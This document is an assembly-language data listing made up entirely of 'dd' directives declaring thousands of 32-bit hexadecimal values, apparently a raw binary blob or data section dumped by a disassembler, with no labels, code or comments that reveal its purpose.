dd 0C2E4419Ah, 7878114Eh, 631A38ECh, 46238B26h, 7DF6A8E2h
dd 18EBCE28h, 91CA019Ah, 0C55F88F8h, 0E186B4CDh, 0CD78FDFDh
dd 87EDBA74h, 0BC34CC0Dh, 0F2C4938Ch, 2E887F58h, 0DC39EAFEh
dd 0A3525489h, 0C9150856h, 4EFC91E7h, 0CB45F326h, 34CA2440h
dd 4C58EB8Ah, 6BAF20D7h, 0B4CE4DE2h, 2270D920h, 2C8DC8E5h
dd 0AABE9A9h, 18F89991h, 637AE37Dh, 7B411964h, 4C7685AEh
dd 0A771A4E1h, 9A39453Fh, 0A789A42Dh, 5CF79Eh, 38975507h
dd 3F78E682h, 51E17D9h, 0AC061AC2h, 68C07537h, 0D798B44h
dd 0E71378A4h, 9E4F22A5h, 65EA4405h, 2BCC6EC9h, 0FA472F40h
dd 0AFA8C9h, 0A5B70C17h, 97136C34h, 0EF5292B0h, 4D6F77ECh
dd 8E0AB33Ch, 0B2EA87E0h, 0E89AF767h, 97E76DEEh, 8AA8890Bh
dd 17DB0549h, 0AA4920EEh, 1CAB735h, 0EE3BDE7Ch, 0D09F5D95h
dd 904D6C06h, 0DE3EED79h, 11015833h, 523522E1h, 0D2FCD1A8h
dd 0AC0EEA96h, 0F5E00D6Eh, 0B1989632h, 680542A7h, 4B161597h
dd 4CB1DE5Dh, 3E7D12FFh, 6A2DB84Bh, 2ED40A1Dh, 8D9C36C1h
dd 1FA0F408h, 0FDA9BD09h, 4CA15719h, 0FAF81C8Ah, 0B20E979Ah
dd 0D4CE463Eh, 26FEBD41h, 0C0394734h, 1E8CC868h, 988C035Ch
dd 41040CD6h, 0BE26851Fh, 8260D493h, 0D846968Dh, 0E094BBF9h
dd 9694F87Fh, 6632A59Bh, 0E7A80A35h, 0F5B77FCAh, 0B4B65693h
dd 0C272D542h, 0F44736ABh, 8F6C0F72h, 99A19253h, 49B396E2h
dd 935BDE2Dh, 26561C4Ch, 1229833h, 0BC0C3359h, 513A92C7h
dd 6400E9DEh, 0D01B8CB4h, 6E8DF027h, 3624FC7Dh, 0F591DE38h
dd 6076BD6Fh, 6316C8B9h, 8AA34380h, 43839788h, 3F35DB1Ch
dd 7371E6CCh, 400F5EB6h, 0BAE03003h, 1178EBC9h, 0C1186E17h
dd 0FC315E59h, 4627F614h, 734BE059h, 94AE9889h, 0F83DFA5Ch
dd 64DDFBF8h, 0C319D7BFh, 75F7B3D1h, 6508BD7Bh, 92F24560h
dd 1E5AA721h, 0C337A0AEh, 1E4F698Eh, 0F453361Ah, 48288F26h
dd 9A03313h, 0B9CCC0D1h, 0FDC42CCh, 98460592h, 24201565h
dd 0B1298E78h, 15045420h, 52CB07E0h, 21840542h, 2BC30BA4h
dd 0D1D9058Ch, 9D02FF2Dh, 1A715145h, 21FF916Bh, 4E901233h
dd 0F93F5619h, 6F21BCE2h, 9A9B1C8Ah, 7320D754h, 0E8010FB8h
dd 7E453F05h, 1F441A88h, 0BE57F368h, 0A4C4960Eh, 4A3DF344h
dd 0C9B77F33h, 5F79DD2Dh, 39E11789h, 77C25F86h, 0CE80EF07h
dd 0E7238C9Bh, 6E7BD6C5h, 60C1B6F5h, 8828DE0Fh, 2ADCB708h
dd 239E6493h, 559E4F78h, 1223198Eh, 8BA3C8A5h, 8156349Eh
dd 0E08CD7EDh, 0BEAB3B6Fh, 7A9FD1CCh, 0E4719E4Eh, 0CD7B2839h
dd 43C28ECEh, 363A1ED3h, 40073D8Dh, 755951A3h, 0D27F5A16h
dd 0E5075434h, 0DE2C0A49h, 7E9741F9h, 25FBAB2h, 0C8DE5AA3h
dd 0C61D73A3h, 0FD5DEEF2h, 51C11EC3h, 0BAAC2B02h, 0EC1336D0h
dd 374AD07Ah, 0E7147DA2h, 0D8C6555Ch, 98CC36A3h, 0A372FC77h
dd 0E235CE3Fh, 5DEA2D63h, 5C0C02Fh, 661A7102h, 0A0D48082h
dd 0ABAB36D2h, 0C123B3EBh, 0D2E9C81Eh, 1D2884ACh, 0A909CA3Fh
dd 2A6D998Dh, 0E41603EAh, 0FA020683h, 0EE46638Eh, 37B7D862h
dd 0D11EF252h, 72FFC11Ch, 0C92F1C0Ch, 2E39B026h, 0D10DAA68h
dd 786E504h, 0FE084EA4h, 947AD443h, 0A093AE38h, 2E7ED0ADh
dd 363599DCh, 1C4387C1h, 0B7879FEFh, 89D54868h, 2251709h
dd 4DD58E1Dh, 0EB80E389h, 7DF73E26h, 0D8A2AA43h, 0AEAA5A57h
dd 5ED30410h, 4512C94Eh, 485A855Ah, 5CB5727h, 0AFDDE13Ch
dd 930805DCh, 47D7A544h, 2BA9BF82h, 0E4164E7Eh, 0F1C37E0Ch
dd 13EC34DEh, 0E7C6B541h, 2344D080h, 0BA69FB75h, 969AB40Bh
dd 1961EEEBh, 4B5C5C4Ah, 834B2D26h, 0E468169Dh, 0E9267AB7h
dd 0D1F10A31h, 4EA5FBB0h
dd 540C2EBBh, 0A17186A4h, 9F8B35DEh, 0F45EAFE4h, 4E2C216Dh
dd 0E59DA4DAh, 8B3DABAh, 0CD68E86Eh, 5684DAh, 5DC7FDF0h
dd 0C5CB730Bh, 122258DDh, 0CE321A7Eh, 5B22911Ch, 0FCA360CAh
dd 2B1E49CFh, 58E9AD50h, 5B6F328h, 33E687C3h, 75E24C61h
dd 70FE2964h, 0ADFB432Dh, 0A2253FD1h, 267B7C71h, 9CE5DDB0h
dd 0C030F1E0h, 8C668FB6h, 332C9C53h, 554D51E5h, 413D54A3h
dd 0D2F44984h, 0E2CBCDF5h, 0D0C389D7h, 36438F00h, 4FDF7562h
dd 18582031h, 86DC4E33h, 305B1618h, 0C32F991Fh, 0A5A06AFFh
dd 3FBA46F7h, 0F506B622h, 0A015D9D8h, 0B1EC4BD6h, 8AF9871Fh
dd 0EB2D3CECh, 74800643h, 9E45ED24h, 0D692B4E6h, 1CD411B5h
dd 8C4F18B3h, 0EFD3D1C8h, 40F50009h, 2F2F4B11h, 18496A02h
dd 0C88876h, 9415D0C5h, 0A002CFBDh, 51CF78EDh, 777CB54Ah
dd 0E59ED756h, 0AE9A4439h, 34323C0Fh, 7115DB48h, 0B40BE502h
dd 0E9601BBEh, 8587309Eh, 0D9A8FBEBh, 0D0C91508h, 65009E9Dh
dd 3B05EAC3h, 66D0E306h, 0C517B0C7h, 73AF9C3Ah, 0CCDEF86h
dd 1A613A1h, 0B1FD867Eh, 49ECCAD8h, 43D269A4h, 0D539D13Ch
dd 0F03D148Fh, 673D09BFh, 0F8868847h, 0EBC46FAh, 5A7C2F80h
dd 3295F231h, 9E9A62E6h, 0ECBA66C3h, 1663B47Dh, 0A1EE5666h
dd 63CB2170h, 5549F90h, 0B544C742h, 0C8599676h, 7969AE7Fh
dd 0D11F7434h, 5D7ABEA5h, 8FAE9E35h, 0E39796E7h, 0BC7483CCh
dd 8AF49B5Fh, 56B00A4Bh, 24D034DAh, 2B336860h, 0D6DA6CE2h
dd 0FAB9B41Eh, 0FBDAF0A9h, 272E328Bh, 0D9320D1Ah, 4164AC19h
dd 48EE7F96h, 0D9B2F931h, 757999ABh, 2982F385h, 10B05930h
dd 8DBC8B45h, 0CA47C9DBh, 78D239B8h, 0FE04F99Ch, 3C202D7Bh
dd 0D7A7A4DDh, 75EC2959h, 4AF981C3h, 0CBBEA769h, 0A82B26A6h
dd 93D94E6Dh, 0C672116h, 43C32551h, 0E89C3D13h, 0A024D268h
dd 13893D7h, 0A4228FC1h, 1D21ADCDh, 3C830910h, 0BCD43CAh
dd 0B913E79Bh, 1942CC48h, 0ECF3B34h, 6AD15ED7h, 0A5016D42h
dd 2601D68h, 4B056324h, 0A3643A1Ch, 597B409Fh, 99FEA94h
dd 0F6193719h, 346A03CBh, 3A4EE345h, 3EB18304h, 5764F453h
dd 5541778Ch, 36D8DA88h, 2CDF92BEh, 6BCC5E73h, 0CCA31DAAh
dd 465A23F1h, 0AB34378Ah, 0F36EE3B0h, 0D173B56Dh, 446F0CF3h
dd 2DEAA042h, 4F06D781h, 43D601C5h, 381C738Ah, 0DFE0ED39h
dd 1C7E1877h, 4D3A9C5Dh, 58B22056h, 0ABD043ACh, 0E5F91959h
dd 7025AD8Ch, 70FC1EAh, 65AFA376h, 9FB8E3DAh, 438D614Ch
dd 18658EDCh, 0EEC9C96Ch, 3DA78932h, 52E3E336h, 3B5B1382h
dd 5E6B22E3h, 331B735Ch, 8EB3FD18h, 0F80A782Ah, 8ABFA9D9h
dd 0AB2386E0h, 55101C14h, 8EE3E09Fh, 9B6424ABh, 361F15B1h
dd 1EED67DDh, 0D19086Dh, 155313CEh, 1ABE9309h, 7AA33870h
dd 0D1EDE260h, 49A8DC4Bh, 0E5E7828Ch, 8B63CAB3h, 5C31EFB7h
dd 0D45A2B2Ch, 5C389630h, 0CF53812Eh, 6CA152FBh, 0D6C0C7FEh
dd 3C9C4DE3h, 5C07DE52h, 0C022E55Bh, 8D32A62Dh, 89CD959Ch
dd 0E411B67Ah, 2CCF34DFh, 0D4EDEDE5h, 13EFAEF2h, 0C94DD38Eh
dd 0FB545634h, 0C71D27ADh, 5F538868h, 19521F59h, 29F32E10h
dd 0FA3D1999h, 0E336FD71h, 1BD0970h, 6F5F0B66h, 50D1ACCBh
dd 4F1E2275h, 76A49C8Fh, 0B12E5FCCh, 1E4A6A7Ah, 0B3496C85h
dd 0B87942ABh, 56BEC518h, 78298EDEh, 6F253A11h, 82745F36h
dd 0CDBBAE02h, 53C7B698h, 0BBAF0B36h, 9B1C165Ch, 48C374EAh
dd 97039BECh, 4E2AF926h, 0D1621C38h, 509BEB0Ch, 1E2F9842h
dd 0F2F1F465h, 12ED0BADh, 5105CEE2h, 0E359F1A7h, 3A04E8C9h
dd 32A00AA7h, 0DD4BF1BDh, 0FECDC3ACh, 0E44748FAh, 8D7E6911h
dd 9CB56122h, 32071988h, 10CFEE9h, 30385882h, 0E7AB6606h
dd 51599DE6h, 0DE65842Dh, 2D5B2389h, 6BC447BCh, 0DF959CA2h
dd 5002B008h, 0FE3DC74Fh, 293CD36Dh, 0B86A4B68h, 88308B7Bh
dd 2B7B895Eh, 27CA5781h, 2814856Eh, 646B7004h, 5F0C0074h
dd 0E3994894h, 6EDFD28Eh, 2B4A0481h, 37DC54A1h, 96F61A14h
dd 0ECDA254Fh, 0CB81CC09h, 501A29DDh, 5EF20EA0h, 0C959D1AFh
dd 2AF30EF2h, 0F5C5A440h, 3A9C4610h, 0EEDB2EA5h, 8F2368FEh
dd 0E8D6B1F5h, 0E119C7ADh, 11BCB757h, 8A4EE6CFh, 0F98ACD1Eh
dd 0CAF67625h, 575ACA7Ch, 27A4D364h, 3FB8A5EEh, 114A32Ch
dd 2D91AC53h, 89310739h, 7E6BB495h, 0CD9AD035h, 0A5816D1Bh
dd 0BC037E22h, 900BE9C6h, 72D0FDDDh, 4717E5BAh, 0E200EE27h
dd 0A8CB9E5Ch, 0EA618C2Bh, 19D539BEh, 1E419A88h, 39C98023h
dd 882E9B6Eh, 72160839h, 37AD41BAh, 6CFC6B36h, 0B605F8Ah
dd 0ED4DFA16h, 87836963h, 0E1AE9966h, 0DAB75AA1h, 35AAAA67h
dd 766B5761h, 640EA99Ah, 0E6E0E9F5h, 22A478BDh, 0A53D5B31h
dd 7CE4CB1h, 0EBFF6CB7h, 0F478B2D2h, 6DC5FD95h, 0D9ACD4D4h
dd 0AD1531E6h, 674B5659h, 26DA8FF5h, 0FC478BA5h, 0CFCCB176h
dd 0AE4E94D4h, 95B9E432h, 8DACDF75h, 4A5F544h, 2EAFF4CDh
dd 18B93024h, 0A824FB5Ah, 5D8AA514h, 748793B8h, 2A1380B1h
dd 0EECFD6C3h, 60D7E8ADh, 40CA4D03h, 139DCDA7h, 0CEAA90Fh
dd 0ABBD8D4h, 33F1B4FFh, 0A685860Fh, 0A88C084Eh, 4E48FD71h
dd 3669013Ch, 4D10621Ah, 1E605552h, 7173B6Ah, 51C7E41Eh
dd 8373794Ah, 1DD522B9h, 0D6740449h, 747814ECh, 0D3233FD5h
dd 1C656E26h, 0F2D743DEh, 0E5BA2683h, 0CFFD4B19h, 0C62939BDh
dd 283FDF2Ch, 2CA489Ah, 0F30ED941h, 9268B246h, 4CFD51DAh
dd 41915E59h, 5928EEC3h, 0C9BD87F6h, 9AD07C43h, 7A1C3350h
dd 774CA1B9h, 0DD1E3526h, 0BC2F94B9h, 0A24C38A5h, 0C760A944h
dd 0C9FB2027h, 0B1BE7B6Dh, 3C684B2h, 0D7341B18h, 0EB6AB051h
dd 0B4C681CAh, 0A8AE7030h, 0F2BD6B86h, 1DF69FA4h, 4C9DB677h
dd 0C73C0783h, 3FFEC9E6h, 0D0F9FBB4h, 0AAFB2564h, 9BBE1021h
dd 181BA5C8h, 7DE22B4Dh, 0A4F2FFDAh, 349A423Fh, 7461643Dh
dd 0A4B1A89Fh, 9CB126B2h, 0F90FBA2Dh, 0B668C3D5h, 4A2E0441h
dd 194DD6EFh, 21E2646Ah, 6E0855D9h, 62064CD1h, 0B19828CDh
dd 76FE3Dh, 4B0AE2B5h, 5262D51Ch, 835EBBh, 0A4720B56h
dd 413D79D2h, 57243331h, 1F91E80Ah, 0B2D27C9Eh, 0C3909A96h
dd 74BC425Ch, 1EA770C9h, 0AD8DE1Ch, 9831D685h, 0A4C40C8Eh
dd 486298A7h, 7B49892h, 438C03AEh, 5B323ECEh, 12E7184Ch
dd 0FEFC2B45h, 0EE7DA69Dh, 0DEA06546h, 0CE38A8C0h, 0E29BE0F0h
dd 262D0584h, 20E1228Eh, 9CA82396h, 71E9B884h, 0DA43AAB4h
dd 0A5CBF006h, 929DB539h, 0ACC8020Ah, 0BEDDCC03h, 0B5ED196Eh
dd 0E9F609C3h, 0D733A34Bh, 0D6F2453Ah, 5CCB465h, 0FCB6291Ah
dd 0B31EDA4Ch, 1CF666F0h, 0FDDAF54Ch, 5A220D60h, 0FD68585Eh
dd 8CF3CE16h, 7B6E03DCh, 7740CE47h, 0D32D92E0h, 248675E6h
dd 47F63054h, 0F9ADEB3Ah, 9C061C86h, 0C138D163h, 38568B32h
dd 36C53C5Dh, 67BC34AFh, 2758C05Ah, 0EA61A1C0h, 0E18F474Dh
dd 0FA128FD9h, 369B0A5Ah, 37F12996h, 8F95F462h, 71BDDB1Bh
dd 0BDC313B5h, 36ED38E5h, 0B10D324h, 0EA9A3F56h, 8F4FAEE5h
dd 0D5327D07h, 0C086F175h, 4237472Ch, 46E9641Fh, 4EF66B26h
dd 6C378830h, 6AECF5AEh, 0B37549BBh, 0FD059568h, 9D918D79h
dd 9FEDD164h, 397D0594h, 0B69E6993h, 0C2DFA0E0h, 0C5592DE0h
dd 57CBCE3Ah, 98331D8Ch, 0C89B9425h, 0D4354EC3h, 0E7F64C04h
dd 0A30C9343h, 0C097D73Bh
dd 7C208FA6h, 0DF5A8825h, 0BBA6A452h, 0B89C4A34h, 5E97A144h
dd 74C9B230h, 0C6B55C76h, 0D9FABAA4h, 1D13157Fh, 0BC18755Eh
dd 0AD915F3Dh, 231FC75Bh, 49C4E2BBh, 0AB4DB772h, 10961E3Ah
dd 0C6C57F3Dh, 4745D21Eh, 0DB3BF487h, 2D2240BDh, 49E3CF79h
dd 9CEBBDD7h, 0AE03F04Ch, 0A9379ACFh, 51670017h, 0E291C885h
dd 0BB9B9205h, 6D5AFBF3h, 6FF3EF7Ah, 99D25684h, 9775290Ch
dd 0CF6CB3C6h, 0B760F537h, 9318A77Ch, 0B17C5EB7h, 0A893847h
dd 36330FF5h, 0D59508CDh, 0F106B997h, 41693BE8h, 876E8B1Ch
dd 0E5C767EAh, 5DB38605h, 2A7A66Eh, 8C330D93h, 34AA7249h
dd 0A6F466CCh, 2490DE85h, 973D3817h, 0C8DDC058h, 0F6A7EC2Eh
dd 0B9F569Fh, 0E6798B8Ah, 73360F64h, 0A5E47694h, 0C00C9FF5h
dd 0BA18DA26h, 0E3AAF288h, 0CC0AC01Bh, 0BC1A845Ah, 2088CD2Dh
dd 238EB795h, 884A4C0Eh, 0BF313DF6h, 0FDF00AA0h, 0EEFFD65Bh
dd 0A6CA17B6h, 0EF38E08Ah, 0B2C17296h, 52541F8Ch, 71E9161Eh
dd 431D82A4h, 0A050AAF7h, 40ABC6B8h, 40D64926h, 0F0FB1F01h
dd 0D5D7C9DCh, 1335246h, 66D958DBh, 0B2A113F5h, 0FA08FAC7h
dd 5D27D504h, 0B6E1CAD4h, 871E3D0Fh, 0E2599656h, 0D7ABC80Fh
dd 0D31A9336h, 3AF70C58h, 0E60059B1h, 2DB74132h, 49B9C5CBh
dd 41F5EC35h, 510E34BAh, 169CBEA9h, 4A0133E6h, 0F4395C5h
dd 93AFFB70h, 1628843Fh, 0DDBB17AFh, 63A789Dh, 0A80D8F0Eh
dd 0F78395FFh, 9A0BBB18h, 4DF6F31Fh, 3C7205B5h, 0A5ECE553h
dd 0F6EB24C5h, 0B2103D41h, 1A595F31h, 0B45F018Bh, 69827EF0h
dd 3D06BD04h, 0C27FA8C5h, 21E812E0h, 6DD9A6Dh, 57609C84h
dd 14DD23B0h, 0F1703A18h, 600D40A0h, 683E5899h, 0DCC96890h
dd 0D844FC41h, 0E30FFDBDh, 0D1C1F9E4h, 0BB92AA0Bh, 0C62816F7h
dd 8B741365h, 71E4FE13h, 89F57A28h, 0FCADB1CBh, 90A3EB5Dh
dd 96E835DDh, 0E7394DE1h, 516F6329h, 0CBC7C8CCh, 0DD0DA83Ah
dd 25BBDD16h, 0DE7178E4h, 0C79AC615h, 9A25A8C6h, 0CA79ECE6h
dd 651F43DCh, 0F759B9F7h, 7906047Ah, 88A84A4Fh, 0E158A949h
dd 0DB7DC0Dh, 0DDBE0133h, 0FEDAACE1h, 6EFCA4A2h, 444B9BCCh
dd 93A69E23h, 0C167ED90h, 1DD58D49h, 4A2483E6h, 640F0CB2h
dd 5BCD0E38h, 0DD221DD6h, 7AE205E7h, 0FB65089Ah, 8CC7AD8h
dd 9AC7D097h, 0DB288751h, 66FDEA32h, 0C7ACAD81h, 0F4675Bh
dd 0BE09B209h, 0C8DD62C9h, 7B0626FBh, 0B3B5581Bh, 0F2EB0E40h
dd 13FB9A3Fh, 0D23F9C8Ch, 56E62695h, 130B5DCEh, 0DF16BC52h
dd 7B31BCCCh, 0A8F4CF6Ch, 0CFF8F6AAh, 68C177E0h, 2379DB16h
dd 0EC0E8845h, 95B4E29Ch, 0CC3773F3h, 926FA8F5h, 0C29B7ED5h
dd 8FC1B6D9h, 0B863A732h, 691A28EBh, 0C588D604h, 674C2731h
dd 6752F777h, 7EE4D061h, 500941CBh, 3BA8BC30h, 0F1FC13ACh
dd 52FEB06Ch, 9520B4DAh, 6ACB9465h, 0D15F7234h, 0DB7775CFh
dd 8FD737A8h, 0A9460F8h, 0C1BF611Fh, 3FFE0C39h, 6C472D93h
dd 8535C253h, 6467944Ah, 5F72267Eh, 0E78FADD8h, 0F82850B1h
dd 0CA3FA57Fh, 4AE8004Ah, 6C08A331h, 0C3D25C06h, 0DE67DA82h
dd 0AB9DE69Eh, 0E0C4E5FFh, 80FBEAF3h, 0D02C6FC6h, 174FE012h
dd 0FCB52BA4h, 1655FED3h, 949BCF95h, 0D847E2DFh, 0B409083Ch
dd 6F1673E7h, 28701982h, 0B3EDB89Dh, 3219EA0Bh, 0CB7557C2h
dd 9A1DC465h, 69B6A3C7h, 0F4F3EF3Eh, 0F0445Ch, 460E1793h
dd 0BE74B22Dh, 0E947C638h, 952B7FFBh, 2B24ADAFh, 74CD2CB0h
dd 2B8C95E7h, 0CCFF6FD2h, 0CD2979Ch, 77711524h, 7B7E683Ah
dd 0D07D3A90h, 167FC19Eh, 734ED939h, 962D02F4h, 9FB003E8h
dd 0E6054A1Bh, 0F1173542h, 21053CD2h, 15E98BFEh, 1AACF83Ch
dd 0B99717A2h, 0F209C43Ch, 0D464AC51h, 0A3132B06h, 0AFD9F923h
dd 6954EA87h, 74F88672h, 0BF45F7B7h, 0FC79F29Bh, 68861496h
dd 800D7ADFh, 4CBF8558h, 0E1B8751h, 0ED1BD8D0h, 95286FCEh
dd 0DCC28EC6h, 0B2AD2E0Eh, 0C7D984B9h, 0B1DF6BBAh, 0D8735EFDh
dd 60FCADEAh, 0E68EDFFCh, 0D7446CC0h, 0A69835D9h, 6B76BC5Fh
dd 2DC36DD4h, 6E3D0C0Fh, 0C83B1F4h, 7E4542B9h, 0A13F8A4h
dd 45BC9925h, 0B91AFC9Dh, 0ECC0E30Ch, 504596DEh, 84374A97h
dd 0EE78796h, 9CDBA24h, 0AF01B583h, 0ABAF07A7h, 0A8EB00AEh
dd 11CB781Ch, 0B1440C0Fh, 9FCFE4DBh, 4DD7B567h, 0EA54F0EAh
dd 38A06F7Ch, 0D31CB402h, 4CFA8F7Ch, 0B990C815h, 0B8E8F16Ah
dd 4528617Eh, 1C1C3B9h, 9F5FB504h, 8A702409h, 5DE8E131h
dd 24CF65E6h, 0DB32053Ch, 514DBAEFh, 8AC77BE7h, 0A92120Ah
dd 0C885A92Ah, 2E604A42h, 886B0033h, 753B32B7h, 34D3F441h
dd 0CCB2C9B2h, 77DC46B5h, 672DD031h, 0FA091C87h, 0C40970E9h
dd 862112F0h, 9475B0F0h, 903562AFh, 0C46F0929h, 87E3FFDAh
dd 6B60330Ah, 5E86F982h, 7DA6B4C9h, 0B786E51Ch, 0B1FBA8Dh
dd 0C7675ECAh, 38F815D5h, 0D4F98B21h, 4EEF5EB1h, 6C4EE30h
dd 0ABB2ED11h, 268CB12Ah, 0A678B37Ah, 0A4E0C38Eh, 6B1019EDh
dd 600D435Bh, 0E52ED34Dh, 3B12056Dh, 84718129h, 439B92BBh
dd 13E2DDCEh, 8842A429h, 8FAD3B92h, 0E30BF7DAh, 0D4C4107Dh
dd 46D1C436h, 7902F879h, 7B17F5D5h, 86B2B2C6h, 0D462F2B5h
dd 0B71120F6h, 0E75B32F6h, 0B84C9C69h, 83989C89h, 0E8E5EA87h
dd 61B68E64h, 0B4C5DCF4h, 0F4913586h, 5A424089h, 0EFF3C829h
dd 0CDECF0C2h, 91FB0A01h, 0D1003875h, 2554AF15h, 13A2D607h
dd 1B47641Bh, 76803E8h, 29281846h, 42E27C1h, 0D435973Ch
dd 5471A232h, 60DB67A3h, 156F5A22h, 4D9FEA1Fh, 0AFF7A77Eh
dd 9B3B6462h, 6A30BCF8h, 27512BCAh, 0BFA0EFFAh, 0C002C129h
dd 0E9B24044h, 990C48B9h, 56A1A3CCh, 78B13666h, 0D35010AAh
dd 0C885423Eh, 8BA6544Ah, 0F43AAD3Fh, 78CC9CD6h, 151CEFBCh
dd 283F5D41h, 0ABA77EDh, 0CB5C0DB4h, 2D30D5EEh, 0C69AB7DFh
dd 99B5D9C2h, 3CCFCE32h, 4AF31CF4h, 28EB1D20h, 0F78FF7E7h
dd 0A1AB9F48h, 0C00D86BDh, 675E64C3h, 618E01Bh, 77D53A1Fh
dd 2994AA8Bh, 0D9B39023h, 0C11BA77Bh, 13CFF4A7h, 0C364AC19h
dd 4885569h, 0E93A650Fh, 912BF69Ch, 47A2736Eh, 0A7B68048h
dd 0A6EF020Ah, 5460203Dh, 8201542Ah, 0F6533A43h, 16973503h
dd 0AE25F99Dh, 9DD0DC9Bh, 0A55303B0h, 0DDE7CFB7h, 6766CB4Fh
dd 0AF49B65Dh, 0B9EEF639h, 4FF464B0h, 0F029E854h, 12FFFB6Ch
dd 0A758FC02h, 0E5BA6A79h, 0BBE11FE4h, 0DC23F892h, 1ACE46C0h
dd 88C52A8Fh, 55FC7B62h, 0A940EBC3h, 2466F3EFh, 8F55A33h
dd 0FEDD47B0h, 0F38DD672h, 2B30A0BFh, 3D4DB8BCh, 5A1BE30Ch
dd 0E6933F16h, 32D0643Dh, 0A0C60B7Bh, 0B06B37B3h, 0E8EFC6DAh
dd 0E8D6A9CAh, 8CBF5BA8h, 0EEC55E8Eh, 9206EB1h, 32BFE32Ch
dd 0FFCE03F8h, 0E29E42E2h, 10B2E4F2h, 0BD46E30Ch, 0AFD5BC18h
dd 0C7624C94h, 6E21EAD9h, 87AF3EE8h, 0D7A0D7F6h, 44E17B7Eh
dd 9ADB4B8h, 0E653698Dh, 7052DCA3h, 611F3988h, 38A602F0h
dd 0B1637248h, 0F480B82Ch, 971C7BB6h, 59EF3B4Bh, 55A5256Eh
dd 6E5EB45Eh, 17D8A6A2h, 629BE581h, 0E980C950h, 0C0B317Ch
dd 0C0EB7847h, 0E67FD37Fh, 83D2EC6h, 0BC252E48h, 51A519B6h
dd 0C531F7F0h, 0BFDE2E26h, 42365A51h, 0EBB410EDh, 6B25ACC1h
dd 2FADF341h, 9AF1FDB2h, 0A964ECE0h, 5A3D3A12h, 653BC858h
dd 1F9518D9h, 62B08456h, 48F078B8h, 2B3CE38Bh, 1B9BE55Dh
dd 0CDB3EED3h, 806F71ADh
dd 0BC4D3AC8h, 4A8904B5h, 29636B9Bh, 90C0F97Ah, 0BB5FE630h
dd 0ECEA1328h, 12157A8Fh, 0FD6303D0h, 0C34E04C8h, 8511B9C6h
dd 6C6DF024h, 7B44AFADh, 0FB55C2AAh, 0C96D38F6h, 0DDB4264Ah
dd 0D7874831h, 0E7763C7Dh, 0D4E206ADh, 0EB45E4B3h, 206E60CAh
dd 26C4B614h, 5DD7BBA1h, 83A4BA43h, 0E5A94E6Dh, 0FB30B297h
dd 0C7C64D2Fh, 0A8963DD8h, 37AB24B1h, 0CA0FD151h, 0FD133DD4h
dd 0A9F08B46h, 7CF9E65Fh, 6B4E3AF9h, 0C55734CAh, 85A3E5B1h
dd 9985A845h, 41F264AFh, 0ED5E9378h, 0B6F5A8FFh, 0EF6CD876h
dd 0FAEA1449h, 854F0917h, 33DF648Bh, 0FD29C729h, 0C83CB59Ch
dd 81D6694Eh, 0CD22B7CBh, 63E08462h, 0F35B5EFEh, 69623AB5h
dd 1A600560h, 49130BB6h, 8D127DF6h, 0CA8B7DCBh, 0C4093AFEh
dd 7636C5CAh, 0B3829781h, 0D9BC6B1Fh, 5689F34Bh, 2A94D5E0h
dd 0F49D8764h, 7430366Ah, 0C3188F4Dh, 2515A44Ch, 0E05A1293h
dd 7BD469CAh, 0B0B1F5D7h, 0E8AC3B98h, 1B39E7AAh, 0E3DB0C30h
dd 56CFACB7h, 4D1AA73Bh, 41BD9820h, 0E776D069h, 0FF9D6083h
dd 87D70981h, 0AE446865h, 92A702D8h, 0AC74F0D6h, 63572C56h
dd 0CF22F2B7h, 0DDC57ECDh, 4B0C25E2h, 15396794h, 380D21B1h
dd 0D761E12Bh, 0FB2A430Dh, 40AEC2FCh, 8D35EAF8h, 59F5F4Eh
dd 0A608B38Ch, 0C74CF484h, 84CFCF85h, 2491D34Dh, 29D5F9E0h
dd 0B55FA3E7h, 4936756h, 376F9241h, 0D0DBA65Fh, 786EA892h
dd 0DADEAB2Eh, 0B865BE78h, 2EE50EC9h, 0DFC556B0h, 0EB59A5E2h
dd 3B90ADB8h, 22E6F22Bh, 0FFE36366h, 4F925DAh, 1E282D53h
dd 523CBDB2h, 0A1BA2564h, 0BFE634D6h, 297F5695h, 629839C8h
dd 3C60265Dh, 6E751A1Ah, 47AA4017h, 79CD33DBh, 0F3349263h
dd 86E399F3h, 0EBDAB7E0h, 31988B7Ch, 51BD411Bh, 0E76ECAD6h
dd 0FCCAE2E3h, 0A0C2BB3h, 6F81CD5Fh, 0D1CD3EFEh, 9C0E552Ch
dd 364E047Fh, 74A3E4A2h, 2C42D049h, 0D79E02C9h, 0E5A8F307h
dd 0F6FE4A63h, 4D59D22Dh, 0CF685869h, 0E94B57FDh, 0AB1F03D5h
dd 5479B40Eh, 6D6A5D8Eh, 0C2266BC0h, 0E6803145h, 15E01137h
dd 1B4B0955h, 4D31C7E3h, 7962BB62h, 0B4DC23DEh, 57D4E6BEh
dd 186C8DA0h, 527BC909h, 84F0C25Bh, 51410A39h, 2E9C5619h
dd 1936E89Bh, 0EF0DA37Ah, 16AAF9D5h, 771E83D5h, 3F1E8082h
dd 3FF2637h, 0B60D1780h, 502E6FCCh, 936F24FAh, 8D20B926h
dd 4E116473h, 8A313EDEh, 0EE56C146h, 6F139803h, 0A9C572E9h
dd 5FDDF228h, 0FC2AB1E9h, 8265D5FAh, 66FC227Ah, 3B0528D9h
dd 70DEF98h, 979F9A9Ch, 0EC0A42DAh, 3E92C856h, 0F4D8B8CEh
dd 43224E32h, 4BDD7133h, 3729AEC0h, 19C54E22h, 0F5E07F4Fh
dd 0C254F8DBh, 46677CCh, 8D5BC6F9h, 0A7865685h, 0C53DC1E3h
dd 98CEE0B9h, 4AC93A9Dh, 0DCBD5DC3h, 0FA3F2BE2h, 70068C77h
dd 5EEEDB48h, 2AC71F2Ch, 0B4E3EADAh, 0BE1127E4h, 6D8E8232h
dd 0C74A7D19h, 773C5156h, 6256BDDCh, 0B36FBE51h, 0A8AA864Ah
dd 5FB40DDh, 13FC76DEh, 606C5BA2h, 86CE2BE6h, 44696BECh
dd 3EA41615h, 0C7998E77h, 6C7E59B6h, 0E8302F9Fh, 89887852h
dd 5AC8359Ch, 18C9A207h, 315E18B3h, 0A2B067D6h, 1D9B07B1h
dd 8C82937Bh, 0BB53906h, 0BDA323B1h, 0FD8E4005h, 82845B27h
dd 66D948F8h, 11E1080Ah, 39C46C99h, 3DCF413Eh, 4CE15E86h
dd 93122375h, 0A20E2BA8h, 8D2131C8h, 745C1635h, 0ED7A9253h
dd 0ADE83C73h, 628A783Fh, 6A1C10EFh, 0EE149CE1h, 2819BB21h
dd 7BF67F12h, 0E8C2095Ah, 0DAE00169h, 0C7725D40h, 0A14CF2BFh
dd 31F2B6Fh, 7D90DE62h, 0CDDA362Ah, 53348C1Fh, 0EAC2C17h
